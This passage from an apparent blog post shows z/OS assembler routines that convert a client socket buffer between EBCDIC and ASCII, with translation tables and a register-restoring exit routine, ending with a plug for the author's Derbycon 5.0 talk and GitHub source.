2 e buff SR 2 , 6 # subtract 1 from R 2 addr LB 3 , 0 ( 0 , 1 ) # Load byte from cli into R 3 NILF 3 , X 'FF' # make sure R 3 is 1 positive byte AR 2 , 3 # add ascii val to a 2 e buff LB 3 , 0 ( 0 , 2 ) # load byte from a 2 e buff into R 3 NILF 3 , X 'FF' # make sure R 3 is 1 positive byte STC 3 , 0 ( 0 , 1 ) # store R 3 byte back into cli buff AR 1 , 6 # increment client buff SR 4 , 6 # sub 1 from ctr , loop if non - neg BRC 7 , LOOP 1 # looop BCR 15 , 14 # return to caller * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * CONVEA LHI 6 , 1 # R 6 has number 1 L 4 , BREAD # num of bytes read L 1 , CLIBUF # address of cli sock input LOOP2 L 2 , E 2 A # address of e 2 a buff SR 2 , 6 # subtract 1 from R 2 addr LB 3 , 0 ( 0 , 1 ) # Load byte from cli into R 3 NILF 3 , X 'FF' # make sure R 3 is 1 positive byte AR 2 , 3 # add ascii val to e 2 a buff LB 3 , 0 ( 0 , 2 ) # load byte from e 2 a buff into R 3 STC 3 , 0 ( 0 , 1 ) # store R 3 byte back into cli buff NILF 3 , X 'FF' # make sure R 3 is 1 positive byte AR 1 , 6 # increment client buff SR 4 , 6 # sub 1 from ctr , loop if non - neg BRC 7 , LOOP 2 # looop BCR 15 , 14 # return to caller * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * E2ABUF DC X '0102039c09867f978d8e0b0c0d0e0f101112139d0a08871819928fX 1c1d1e1f808182838485171b88898a8b8c0506079091169394959604X 98999a9b14159e1a20a0e2e4e0e1e3e5e7f1a22e3c282b7c26e9eaebX e8edeeefecdf21242a293b5e2d2fc2c4c0c1c3c5c7d1a62c255f3e3fX f8c9cacbc8cdcecfcc603a2340273d22' DC X 'd8616263646566676869abbbf0fdfeb1b06a6b6c6d6e6f707172aaX bae6b8c6a4b57e737475767778797aa1bfd05bdeaeaca3a5b7a9a7b6X bcbdbedda8af5db4d77b414243444546474849adf4f6f2f3f57d4a4bX 4c4d4e4f505152b9fbfcf9faff5cf7535455565758595ab2d4d6d2d3X d530313233343536373839b3dbdcd9da' DC X '9f' E2A DC A ( E 2 ABUF ) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * A2EBUF DC X '010203372d2e2f1605150b0c0d0e0f101112133c3d322618193f27X 1c1d1e1f405a7f7b5b6c507d4d5d5c4e6b604b61f0f1f2f3f4f5f6f7X f8f97a5e4c7e6e6f7cc1c2c3c4c5c6c7c8c9d1d2d3d4d5d6d7d8d9e2X e3e4e5e6e7e8e9ade0bd5f6d79818283848586878889919293949596X 979899a2a3a4a5a6a7a8a9c04fd0a107' DC X '202122232425061728292a2b2c090a1b30311a333435360838393aX 3b04143eff41aa4ab19fb26ab5bbb49a8ab0caafbc908feafabea0b6X b39dda9b8bb7b8b9ab6465626663679e687471727378757677ac69edX eeebefecbf80fdfefbfcbaae594445424643479c4854515253585556X 578c49cdcecbcfcce170dddedbdc8d8e' DC X 'df' A2E DC A ( A 2 EBUF )

This just cleans up and restores registers that were saved in step 1.

Cleanup and exit GOODEX XR 15,15 # zero return code EXITP ST 15,0(,11) L 13,4(,11) LM 14,12,12(13) # restore registers LARL 5,SAVEAREA L 15,0(0,5) BCR 15,14 # branch to caller 1 2 3 4 5 6 7 GOODEX XR 15 , 15 # zero return code EXITP ST 15 , 0 ( , 11 ) L 13 , 4 ( , 11 ) LM 14 , 12 , 12 ( 13 ) # restore registers LARL 5 , SAVEAREA L 15 , 0 ( 0 , 5 ) BCR 15 , 14 # branch to caller

The full source has more notations, all the constants, error checking and handling, etc. This code is my first go at this, it’s fully functional – but certainly it has some room for optimization and improvement.

If this interests you, come see my talk at this year’s Derbycon 5.0 Saturday at 5:30pm!

Link to the full source on zedsec390 github.